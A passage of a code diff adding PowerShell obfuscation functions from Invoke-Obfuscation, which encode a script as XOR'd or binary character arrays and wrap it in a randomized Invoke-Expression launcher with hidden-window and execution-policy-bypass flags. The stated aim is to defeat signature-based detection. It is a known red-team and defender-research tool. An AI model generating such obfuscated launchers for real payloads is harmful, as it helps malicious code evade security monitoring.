,141, 135 , 160, 140 ,143 , 140 ,145 , 195,164,145 , 134 +, 134 , 141 ,216 ,195 ,180 ,145 ,138, 151 ,134 ,206, 171,140 , 144 ,151,195 ,196,172,129 ,133 ,150,144 , 128 ,130 ,151 ,138,140 ,141 , 195 , 177,140,128,136 , 144 , 194, 196 ,195,206,165 , 140 , 145,134,132, 145 ,140 ,150 ,141,135 , 16 +0 , 140, 143, 140 , 145 ,195 ,164 ,145,134 , 134, 141) | fOrEAch-ObJect {[chaR] ( $_-BXor 0xE3 ) } )-jOIN'' | iEx + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Create list of random delimiters $RandomDelimiters. + # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. + $RandomDelimiters = @('_','-',',','{','}','~','!','@','%','&','<','>') + + # Add letters a-z with random case to $RandomDelimiters. + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') | ForEach-Object {$UpperLowerChar = $_; If(((Get-Random -Input @(1..2))-1 -eq 0)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $RandomDelimiters += $UpperLowerChar} + + # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. + $RandomDelimiters = (Get-Random -Input $RandomDelimiters -Count ($RandomDelimiters.Count/4)) + + # Generate random hex value for BXOR. Keep from 0x00 to 0x5F to avoid character representations on the command line that are unsupported by PowerShell. + $HexDigitRange = @(0,1,2,3,4,5,6,7,8,9,'a','A','b','B','c','C','d','D','e','E','f','F') + $BXORValue = '0x' + (Get-Random -Input @(0..5)) + (Get-Random -Input $HexDigitRange) + + # Convert $ScriptString to delimited and BXOR'd ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. + $DelimitedEncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$DelimitedEncodedArray += ([String]([Int][Char]$_ -BXOR $BXORValue) + (Get-Random -Input $RandomDelimiters))} + + # Remove trailing delimiter from $DelimitedEncodedArray. + $DelimitedEncodedArray = $DelimitedEncodedArray.SubString(0,$DelimitedEncodedArray.Length-1) + + # Create printable version of $RandomDelimiters in random order to be used by final command. + $RandomDelimitersToPrint = (Get-Random -Input $RandomDelimiters -Count $RandomDelimiters.Length) -Join '' + + # Generate random case versions for necessary operations. + $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%') + $StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $BXOR = ([Char[]]'-BXOR' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. + $RandomDelimitersToPrintForDashSplit = '' + ForEach($RandomDelimiter in $RandomDelimiters) + { + # Random case 'split' string. + If($ScriptString.Contains('^')) + { + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomDelimitersToPrintForDashSplit += '(' + (Get-Random -Input @('-Replace','-CReplace')) + " '^','' -$Split" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1)) + $Split = ([Char[]]"Replace('^','').Split" | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + Else + { + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomDelimitersToPrintForDashSplit += ('-' + $Split + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1))) + } + + # Randomize case of full syntax from above If/Else block. + $Split = ([Char[]]$Split | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomDelimitersToPrintForDashSplit = ([Char[]]$RandomDelimitersToPrintForDashSplit | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + $RandomDelimitersToPrintForDashSplit = $RandomDelimitersToPrintForDashSplit.Trim() + + # Perform BXOR operation on $ScriptString. + $EncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$EncodedArray += ([String]([Int][Char]$_ -BXOR $BXORValue)) + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1))} + + # Remove trailing comma from $EncodedArray. + $EncodedArray = ('(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray.Trim().Trim(',') + ')') + + # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). + # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. + # If the OFS variable did exists then we could use even more syntax: $varname, Set-Variable/SV, Set-Item/SET, Get-Variable/GV/Variable, Get-ChildItem/GCI/ChildItem/Dir/Ls + # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables + $SetOfsVarSyntax = @() + $SetOfsVarSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVarSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "''" + $SetOfsVar = (Get-Random -Input $SetOfsVarSyntax) + + $SetOfsVarBackSyntax = @() + $SetOfsVarBackSyntax += 'Set-Item' + ' '*(Get-Random -Input @(1,2)) + "'Variable:OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBackSyntax += (Get-Random -Input @('Set-Variable','SV','SET')) + ' '*(Get-Random -Input @(1,2)) + "'OFS'" + ' '*(Get-Random -Input @(1,2)) + "' '" + $SetOfsVarBack = (Get-Random -Input $SetOfsVarBackSyntax) + + # Randomize case of $SetOfsVar and $SetOfsVarBack. + $SetOfsVar = ([Char[]]$SetOfsVar | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $SetOfsVarBack = ([Char[]]$SetOfsVarBack | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Generator BXOR syntax with randomly-chosen quotes. + $Quotes = Get-Random -Input @('"',"'",' ') + $BXORSyntax = $BXOR + ' '*(Get-Random -Input @(0,1)) + $Quotes + $BXORValue + $Quotes + $BXORConversion = '{' + ' '*(Get-Random -Input @(0,1)) + "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + '$_' + ' '*(Get-Random -Input @(0,1)) + $BXORSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '}' + + # Generate the code that will decrypt and execute the payload and randomly select one. + $BaseScriptArray = @() + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "[$CharStr[]]" + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + $BXORConversion + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'." + $Split + "(" + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimitersToPrint + "'" + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + $BXORConversion + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + "'" + $DelimitedEncodedArray + "'" + ' '*(Get-Random -Input @(0,1)) + $RandomDelimitersToPrintForDashSplit + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + $BXORConversion + ' '*(Get-Random -Input @(0,1)) + ')' + $BaseScriptArray += '(' + ' '*(Get-Random -Input @(0,1)) + $EncodedArray + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $ForEachObject + ' '*(Get-Random -Input @(0,1)) + $BXORConversion + ' '*(Get-Random -Input @(0,1)) + ')' + + # Generate random JOIN syntax for all above options. + $NewScriptArray = @() + $NewScriptArray += (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + $Join + ' '*(Get-Random -Input @(0,1)) + "''" + $NewScriptArray += $Join + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + $NewScriptArray += $StrJoin + '(' + ' '*(Get-Random -Input @(0,1)) + "''" + ' '*(Get-Random -Input @(0,1)) + ',' + ' '*(Get-Random -Input @(0,1)) + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + ')' + $NewScriptArray += '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVar + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + ' '*(Get-Random -Input @(0,1)) + '+' + ' '*(Get-Random -Input @(0,1)) + $StrStr + (Get-Random -Input $BaseScriptArray) + ' '*(Get-Random -Input @(0,1)) + '+' + '"' + ' '*(Get-Random -Input @(0,1)) + '$(' + ' '*(Get-Random -Input @(0,1)) + $SetOfsVarBack + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + '"' + + # Randomly select one of the above commands. + $NewScript = (Get-Random -Input $NewScriptArray) + + # Generate random invoke operation syntax. + # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied into this encoding function so that this will remain a standalone script without dependencies. + $InvokeExpressionSyntax = @() + $InvokeExpressionSyntax += (Get-Random -Input @('IEX','Invoke-Expression')) + # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. + # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator but not a silver bullet. + # These methods draw on common environment variable values and PowerShell Automatic Variable values/methods/members/properties/etc. + $InvocationOperator = (Get-Random -Input @('.','&')) + ' '*(Get-Random -Input @(0,1)) + $InvokeExpressionSyntax += $InvocationOperator + "( `$ShellId[1]+`$ShellId[13]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$PSHome[" + (Get-Random -Input @(4,21)) + "]+`$PSHome[" + (Get-Random -Input @(30,34)) + "]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:Public[13]+`$env:Public[5]+'x')" + $InvokeExpressionSyntax += $InvocationOperator + "( `$env:ComSpec[4," + (Get-Random -Input @(15,24,26)) + ",25]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "((" + (Get-Random -Input @('Get-Variable','GV','Variable')) + " '*mdr*').Name[3,11,2]-Join'')" + $InvokeExpressionSyntax += $InvocationOperator + "( " + (Get-Random -Input @('$VerbosePreference.ToString()','([String]$VerbosePreference)')) + "[1,3]+'x'-Join'')" + + # Randomly choose from above invoke operation syntaxes. + $InvokeExpression = (Get-Random -Input $InvokeExpressionSyntax) + + # Randomize the case of selected invoke operation. + $InvokeExpression = ([Char[]]$InvokeExpression | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) + $InvokeOptions = @() + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + $InvokeOptions += ' '*(Get-Random -Input @(0,1)) + $NewScript + ' '*(Get-Random -Input @(0,1)) + '|' + ' '*(Get-Random -Input @(0,1)) + $InvokeExpression + + $NewScript = (Get-Random -Input $InvokeOptions) + + # If user did not include -PassThru flag then continue with adding execution flgs and powershell.exe to $NewScript. + If(!$PSBoundParameters['PassThru']) + { + # Array to store all selected PowerShell execution flags. + $PowerShellFlags = @() + + # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. + # This is to prevent Blue Team from placing false hope in simple signatures for common substrings of these execution flags. + $CommandlineOptions = New-Object String[](0) + If($PSBoundParameters['NoExit']) + { + $FullArgument = "-NoExit"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile']) + { + $FullArgument = "-NoProfile"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive']) + { + $FullArgument = "-NonInteractive"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo']) + { + $FullArgument = "-NoLogo"; + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to write WindowStyle value with flag substring or integer value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the execution flags. + # This is to prevent the Blue Team from placing false hope in simple signatures for ordering of these flags. + If($CommandlineOptions.Count -gt 1) + { + $CommandlineOptions = Get-Random -InputObject $CommandlineOptions -Count $CommandlineOptions.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command']) + { + $FullArgument = "-Command" + $CommandlineOptions += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Random-sized whitespace between all execution flags and encapsulating final string of execution flags. + $CommandlineOptions = ($CommandlineOptions | ForEach-Object {$_ + " "*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $CommandlineOptions = " "*(Get-Random -Minimum 0 -Maximum 3) + $CommandlineOptions + " "*(Get-Random -Minimum 0 -Maximum 3) + + # Build up the full command-line string. + If($PSBoundParameters['Wow64']) + { + # A hard-coded WinDir is less flexible, but avoids making Windows-specific calls and allows for cross-platform execution + $CommandLineOutput = "C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$CommandLineOutput = "$($Env:windir)\System32\WindowsPowerShell\v1.0\powershell.exe $($CommandlineOptions) `"$NewScript`"" + $CommandLineOutput = "powershell $($CommandlineOptions) `"$NewScript`"" + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + $CmdMaxLength = 8190 + If($CommandLineOutput.Length -gt $CmdMaxLength) + { + Write-Warning "This command exceeds the cmd.exe maximum allowed length of $CmdMaxLength characters! Its length is $($CmdLineOutput.Length) characters." + } + + $NewScript = $CommandLineOutput + } + + Return $NewScript +} \ No newline at end of file diff --git a/lib/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1 b/lib/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1 new file mode 100644 index 000000000..ded27ad25 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-EncodedBinaryCommand.ps1 @@ -0,0 +1,389 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-EncodedBinaryCommand +{ +<# +.SYNOPSIS + +Generates binary encoded payload for a PowerShell command or script. Optionally it adds command line output to final command. + +Invoke-Obfuscation Function: Out-EncodedBinaryCommand +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-EncodedBinaryCommand encodes an input PowerShell scriptblock or path as a binary payload. It randomly chooses between .Split/-Split/array syntax to store the encoded payload in the final output. The purpose is to highlight to the Blue Team that there are more novel ways to encode a PowerShell command other than the most common Base64 approach. + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER Path + +Specifies the path to your payload. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER PassThru + +(Optional) Avoids applying final command line syntax if you want to apply more obfuscation functions (or a different launcher function) to the final output. + +.EXAMPLE + +C:\PS> Out-EncodedBinaryCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive + +powershell -NonIn -NoProf "-Join ('1010111y1110010W1101001{1110100G1100101y101101;1001000T1101111@1110011G1110100y100000@100111y1001000@1100101d1101100<1101100b1101111d100000W1010111@1101111G1110010{1101100@1100100@100001<100111G100000y101101;1000110;1101111y1110010G1100101d1100111y1110010G1101111@1110101W1101110b1100100G1000011;1101111d1101100{1101111y1110010d100000<1000111<1110010T1100101W1100101@1101110d111011{100000T1010111{1110010{1101001{1110100y1100101b101101<1001000y1101111{1110011W1110100d100000d100111b1001111<1100010b1100110<1110101d1110011W1100011W1100001T1110100T1101001{1101111;1101110W100000T1010010b1101111<1100011W1101011;1110011;100001d100111@100000y101101<1000110T1101111G1110010{1100101W1100111{1110010G1101111d1110101W1101110@1100100@1000011{1101111d1101100y1101111T1110010{100000{1000111{1110010T1100101b1100101;1101110'-SplIt'b'-SpLit '@'-SPLIt '{' -SpLIT'<'-SPLIT'd' -SpLIT 'T'-SplIt ';' -SpLiT 'G' -SPLiT'y'-SpLiT'W' | ForEach-Object { ([Char]([Convert]::ToInt16(( $_.ToString() ) ,2) ))} )| IEX" + +C:\PS> Out-EncodedBinaryCommand -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive -PassThru + +IEX( -Join ('1010111<1110010>1101001a1110100>1100101r101101{1001000@1101111l1110011l1110100a100000<100111m1001000r1100101{1101100{1101100{1101111>100000{1010111>1101111>1110010m1101100O1100100a100001O100111&100000@101101&1000110<1101111a1110010&1100101&1100111O1110010r1101111r1110101<1101110O1100100m1000011{1101111>1101100m1101111{1110010m100000{1000111a1110010>1100101>1100101m1101110&111011O100000r1010111&1110010l1101001{1110100{1100101r101101@1001000&1101111>1110011<1110100&100000>100111a1001111{1100010a1100110@1110101{1110011&1100011r1100001@1110100l1101001>1101111a1101110a100000@1010010a1101111r1100011a1101011m1110011{100001<100111a100000{101101@1000110a1101111{1110010m1100101a1100111>1110010l1101111m1110101l1101110@1100100r1000011&1101111r1101100O1101111m1110010a100000@1000111@1110010O1100101@1100101@1101110'.Split( 'l@>{r + + [CmdletBinding(DefaultParameterSetName = 'FilePath')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 0, ParameterSetName = 'FilePath')] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Switch] + $PassThru + ) + + # Encoding base values: 16=Hex, 8=Octal, 2=Binary + $EncodingBase = 2 + + # Either convert ScriptBlock to a String or convert script at $Path to a String. + If($PSBoundParameters['Path']) + { + Get-ChildItem $Path -ErrorAction Stop | Out-Null + $ScriptString = [IO.File]::ReadAllText((Resolve-Path $Path)) + } + Else + { + $ScriptString = [String]$ScriptBlock + } + + # Create list of random delimiters $RandomDelimiters. + # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. + $RandomDelimiters = @('_','-',',','{','}','~','!','@','%','&','<','>',';',':') + + # Add letters a-z with random case to $RandomDelimiters. + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') | ForEach-Object {$UpperLowerChar = $_; If(((Get-Random -Input @(1..2))-1 -eq 0)) {$UpperLowerChar = $UpperLowerChar.ToUpper()} $RandomDelimiters += $UpperLowerChar} + + # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. + $RandomDelimiters = (Get-Random -Input $RandomDelimiters -Count ($RandomDelimiters.Count/4)) + + # Convert $ScriptString to delimited Binary values in [Char] array separated by random delimiter from defined list $RandomDelimiters. + $DelimitedEncodedArray = '' + ([Char[]]$ScriptString) | ForEach-Object {$DelimitedEncodedArray += ([Convert]::ToString(([Int][Char]$_),$EncodingBase) + (Get-Random -Input $RandomDelimiters))} + + # Remove trailing delimiter from $DelimitedEncodedArray. + $DelimitedEncodedArray = $DelimitedEncodedArray.SubString(0,$DelimitedEncodedArray.Length-1) + + # Create printable version of $RandomDelimiters in random order to be used by final command. + $RandomDelimitersToPrint = (Get-Random -Input $RandomDelimiters -Count $RandomDelimiters.Length) -Join '' + + # Generate random case versions for necessary operations. + $ForEachObject = Get-Random -Input @('ForEach','ForEach-Object','%') + $StrJoin = ([Char[]]'[String]::Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $StrStr = ([Char[]]'[String]' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Join = ([Char[]]'-Join' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $CharStr = ([Char[]]'Char' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $Int = ([Char[]]'Int' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ForEachObject = ([Char[]]$ForEachObject | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $ToInt16 = ([Char[]]'[Convert]::ToInt16(' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax. + $RandomDelimitersToPrintForDashSplit = '' + ForEach($RandomDelimiter in $RandomDelimiters) + { + # Random case 'split' string. + $Split = ([Char[]]'Split' | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + + $RandomDelimitersToPrintForDashSplit += ('-' + $Split + ' '*(Get-Random -Input @(0,1)) + "'" + $RandomDelimiter + "'" + ' '*(Get-Random -Input @(0,1))) + } + $RandomDelimitersToPrintForDashSplit = $RandomDelimitersToPrintForDashSplit.Trim() + + # Randomly select between various conversion syntax options. + $RandomStringSyntax = ([Char[]](Get-Random -Input @('[String]$_','$_.ToString()')) | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + $RandomConversionSyntax = @() + $RandomConversionSyntax += "[$CharStr]" + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ',' + $EncodingBase + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input @(0,1)) + ')' + $RandomConversionSyntax += $ToInt16 + ' '*(Get-Random -Input @(0,1)) + '(' + ' '*(Get-Random -Input @(0,1)) + $RandomStringSyntax + ' '*(Get-Random -Input @(0,1)) + ')' + ' '*(Get-Random -Input 